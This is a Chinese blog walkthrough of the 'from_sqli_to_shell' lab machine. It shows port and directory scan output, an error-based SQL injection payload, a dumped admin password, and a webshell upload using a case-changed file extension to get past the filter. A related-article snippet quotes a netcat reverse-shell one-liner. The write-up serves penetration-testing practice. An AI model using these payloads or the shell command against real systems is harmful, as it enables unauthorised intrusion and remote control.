vulnhub笔记：from_sqli_to_shell

最新推荐文章于 2023-11-05 17:07:35 发布
最新推荐文章于 2023-11-05 17:07:35 发布
阅读量465 收藏 1
点赞数 1
分类专栏： OSCP 靶机
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_39633874/article/details/107115065
版权

信息收集

端口扫描

# nmap -p-  -sC -sV 192.168.111.141 -oA scans/allport
Nmap scan report for 192.168.111.141
Host is up (0.00043s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.5p1 Debian 6+squeeze2 (protocol 2.0)
| ssh-hostkey: 
|   1024 f8:4a:f0:61:f1:00:51:74:35:6b:2d:48:97:47:1c:84 (DSA)
|_  2048 e3:91:77:99:64:b6:cd:45:71:d1:6c:55:42:c6:43:55 (RSA)
80/tcp open  http    Apache httpd 2.2.16 ((Debian))
|_http-server-header: Apache/2.2.16 (Debian)
|_http-title: My Photoblog - last picture
MAC Address: 00:0C:29:3C:74:CE (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

目录爆破

# dirb http://192.168.111.141                

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Jul  3 20:50:38 2020
URL_BASE: http://192.168.111.141/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612                                                          
---- Scanning URL: http://192.168.111.141/ ----
==> DIRECTORY: http://192.168.111.141/admin/                                                                                                     
+ http://192.168.111.141/all (CODE:200|SIZE:2022)                                                                                                
+ http://192.168.111.141/cat (CODE:200|SIZE:1858)                                                                                                
+ http://192.168.111.141/cgi-bin/ (CODE:403|SIZE:291)                                                                                            
==> DIRECTORY: http://192.168.111.141/classes/                                                                                                   
==> DIRECTORY: http://192.168.111.141/css/                                                                                                       
+ http://192.168.111.141/footer (CODE:200|SIZE:185)                                                                                              
+ http://192.168.111.141/header (CODE:200|SIZE:796)                                                                                              
==> DIRECTORY: http://192.168.111.141/images/                                                                                                    
+ http://192.168.111.141/index (CODE:200|SIZE:1343)                                                                                              
+ http://192.168.111.141/index.php (CODE:200|SIZE:1343)                                                                                          
+ http://192.168.111.141/server-status (CODE:403|SIZE:296)                                                                                       
+ http://192.168.111.141/show (CODE:200|SIZE:1320)                                                                                               
                                                                                                                                           
---- Entering directory: http://192.168.111.141/admin/ ----
+ http://192.168.111.141/admin/del (CODE:302|SIZE:0)                                                                                             
+ http://192.168.111.141/admin/footer (CODE:200|SIZE:19)                                                                                   
+ http://192.168.111.141/admin/header (CODE:200|SIZE:686)                                                                                        
+ http://192.168.111.141/admin/index (CODE:302|SIZE:0)                                                                                           
+ http://192.168.111.141/admin/index.php (CODE:302|SIZE:0)                                                                                       
+ http://192.168.111.141/admin/login (CODE:200|SIZE:1387)                                                                                        
+ http://192.168.111.141/admin/logout (CODE:302|SIZE:0)                                                                                          
+ http://192.168.111.141/admin/new (CODE:302|SIZE:0)                                                                                             
==> DIRECTORY: http://192.168.111.141/admin/uploads/                                                                                             
                                                                                                                                                 
---- Entering directory: http://192.168.111.141/classes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                 
---- Entering directory: http://192.168.111.141/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                 
---- Entering directory: http://192.168.111.141/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                 
---- Entering directory: http://192.168.111.141/admin/uploads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

发现一个目录遍历的问题，
在这里插入图片描述

前台sql注入

到处点点，发现一个sql注入，可以用报错注入

访问/cat.php?id=1 AND (EXTRACTVALUE(1,CONCAT(0x7C,@@basedir,0x7C)))
 
 XPATH syntax error: '|/usr/|'

也可以用联合注入

列数为4，第二位有回显。已经可以用sqlmap一把梭, 也可以手工注熟悉下命令.

拿到管理员密码

Database: photoblog                                                                                                                              
Table: users
[1 entry]
+------+-------+---------------------------------------------+
| id   | login | password                                    |
+------+-------+---------------------------------------------+
| 1    | admin | 8efe310f9ab3efeae8d410a8e0166eb2 (P4ssw0rd) |
+------+-------+---------------------------------------------+

后台文件上传

登录后台，上传内容为php马的图片，用burp改后缀为Php（大小写绕过）
直接上AntSword拿到shell

故莫轻言
关注
  • 1
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Dedecms_20150618_member_sqli (2).py
10-05
dedecms5.7sp1后台（要能够注册member的vip账户后台才可以）存在sql延时注入exp，用火狐得到账户登录的cookie替换，然后Python2.7跑脚本，from乌云雨神 http://www.hekaiyu.cn/hacker/3060.html
From SQL Injection to Shell学习笔记
06-08
pentesterlab的From SQL Injection to Shell模块学习经验
vulnhub之from_sqli_to_shell_II_i386
li1136594919的博客
04-15 351
发现新增IP：192.168.62.141。
from_sqli_to_shell靶机初体验
qq_38390532的博客
07-21 1211
from_sqli_to_shell靶机的攻略
[Pentester Lab]from_sql_to_shell靶机
Re1_zf的博客
10-11 743
由此得到的这个账号密码可能就是上面那个登录页面的账号密码，而且这里sqlmap也直接给解密了密码的md5值。这个表是一个图片表，名称是一个herf，可以直接查看，后面的delete应该也是可以删除这张图片。测试一下注入点，页面的内容发生了改变，并且改编成的页面内容跟预期是一样的。首先找到一个传参的页面，记好测试前的页面的状态，然后开始测试。上传成功，检测机制不会涉及到内容，可能只是单纯的文件后缀检测。页面有些简单，但是众所周知，越简单的页面越恐怖，继续往下看。想办法上传一个可以以php格式解析的文件。
DC2靶场练习
qq_60848021的博客
04-09 205
通过以上扫描报告可以看出，虽然没有扫描出漏洞，但是却意外获得了三个用户名：admin,tom,jerry.和flag1的提示相呼应，所以现在需要做的就是使用cewl工具进行密码收集
[渗透测试实战]vulnhub靶场1 初步掌握渗透流程（详细步骤）
知识库总结、分享
07-01 1537
Fuzzing可以帮助发现那些常规的安全测试无法发现的漏洞和弱点，因为它可以测试系统的响应能力，以及处理异常数据的能力。目前已知系统提供的服务ssh和http，web用的是WordPress cms系统，渗透系统希望获得用户和密码，访问WordPress看能不能得到账户信息。拿到正确参数，需要传入参数访问url拿到系统信息，参数file是文件的意思，第一想到的是拿到系统的账户文件/etc/passwd,继续传参数访问。不报gcc相关的错误了，也算解决了一个问题，又出现了程序执行权限问题，真是大肠包小肠！
SQLi Dumper v.8.3_sqli_
09-30
SQLi Dumper v.8.3_sqli_ 是一个专门针对SQL注入漏洞的渗透测试工具，主要用于检测和利用SQL注入漏洞。SQL注入是一种常见的网络安全威胁，攻击者通过在Web应用程序的输入字段中插入恶意SQL代码，以获取未经授权的...
Vega_sqli_源码
10-04
sqli tool for searching vulnarabiliti for your website
《Beyond_SQLi_Obfuscate_and_Bypass》.pdf
11-28
总的来说，《Beyond SQLi: Obfuscate and Bypass》是一篇深入解析SQL注入攻击策略的宝贵资源，它揭示了攻击者如何巧妙地规避安全措施，并为防御者提供了对抗这些攻击的思路和实践建议。对于网络安全专业人士来说，...
arm_linux_sqlite.rar_compiler for linux_cross compile_linux sqli
09-22
Compile SQLite using the cross-compiler such as arm-...first, get sqlite-3.3.6.tar.gz from www.sqlite.org unzip it, #tar -zxvf sqlite-3.3.6.tar.gz change into the sqlite-3.3.6 directory cd sqlite-3.3.6
DC3靶场练习
qq_60848021的博客
04-11 299
bin/bash -i 2>&1 | nc IP 端口 >/tmp/f: 先将上一步获取到的命令在bash终端中执行,并将结果通过nc输出到目标,并且将目标的命令重新写入临时文件f.mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 攻击者ip 端口 > /tmp/f。1，rm /tmp/f: 首先删除l临时文件f,以免造成冲突,(后面的分号;3, cat /tmp/f | /bin/bash -i 2>&1 | nc IP 端口 >/tmp/f。
SQL注入实验靶场（附环境）
最新发布
m0_74025111的博客
11-05 472
​ 扫出了一个库，证明信息就在这个库里面，得知信息在此库里面就好办了，直接爆表和字段信息sqlmap -u http://192.168.171.131/cat.php?​ 是一个登录页面，我们不知道密码，那我们就通过数据库来进行获取信息，在前面的源码中发现存在id参数注入，测试一下该靶场是否存在sql注入。页面没有什么可用的资源，查看源码，从源码可以发现是存在id参数注入，文件上传。进入到上传目录，发现了这个页面存在图片和信息类的，还有相关的路径。通过路径还可以发现有admin目录的，直接访问一手。
Vulnhub靶场实战---DC-8
一期一会的博客
12-13 4673
0x00 环境搭建 1.官网下载地址：DC: 8 ~ VulnHubDC: 8, made by DCAU. Download & walkthrough links are available.https://www.vulnhub.com/entry/dc-8,367/2.下载完成之后直接导入vm，使用NAT模式连接，保持在同一网段 攻击机：kali (192.168.88.130) 靶机：DC-8 （192.168.88.131） 0x01 信息收集 1.找到目标主机 ，拿ar.
【甄选靶场】Vulnhub百个项目渗透——项目七：DerpNStink-1（sql注入，流量分析）
人间体佐菲的博客
08-23 2122
【专为新人甄选】Vulnhub百个项目渗透——项目七：DerpNStink-1
一次简单的SQL注入靶场练习
lza20001103的博客
07-24 4106
一次简单的SQL注入靶场练习
vulhub靶场sql注入漏洞复现
赵花花08042的博客
12-13 3226
Django JSONField/HStoreField SQL注入漏洞（CVE-2019-14234） https://github.com/vulhub/vulhub/blob/master/django/CVE-2019-14234/README.zh-cn.md https://mp.weixin.qq.com/s?__biz=MzA4NzUwMzc3NQ==&mid=2247483996&idx=1&sn=4254dc0a54003cccb29dd42935f8ccea.
靶机渗透练习44-DarkHole-1
hirak0的博客
04-19 887
靶机描述 靶机地址：https://www.vulnhub.com/entry/darkhole-1,724/ Description Difficulty: Easy It’s a box for beginners, but not easy, Good Luck Hint: Don’t waste your time For Brute-Fo 一、搭建靶机环境 攻击机Kali： IP地址：192.168.184.128 靶机： IP地址：192.168.184.142 注：靶机与Kali的
111
jackcily的博客
11-17 746
拓展：burp suite 攻击分为三步： 1.Fingerprinting 需要收集什么信息？ web application and technology in use 什么手段? 在进行实验之前，首先使用nmap 扫描一下 victim 对外开放的端口 nmap 10.0.2.10 扫描结果如下： Starting Nmap 7.70 ( https://nmap.org ) at 2018...
try: select_sqli = "SELECT distinct time FROM sheji.sale;" cur.execute(select_sqli) data = pd.DataFrame(cur.fetchall(), columns=['time']) except Exception as e: print("读取数据失败:", e) else: print("读取数据成功") data['time'] = pd.to_datetime(data['time'], format='%Y-%m') data = data.sort_index() year_month = time.strftime('%Y-%m', time.localtime(data['time'][0])) print(year_month)哪里有错
06-01
这段代码中可能存在以下几个问题： 1. 代码中缺少数据库连接的相关操作，包括导入相关库、建立连接、创建游标等操作。需要确保已经完成了这些操作才能执行 SQL 查询语句。 2. `pd.DataFrame(cur.fetchall(), ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值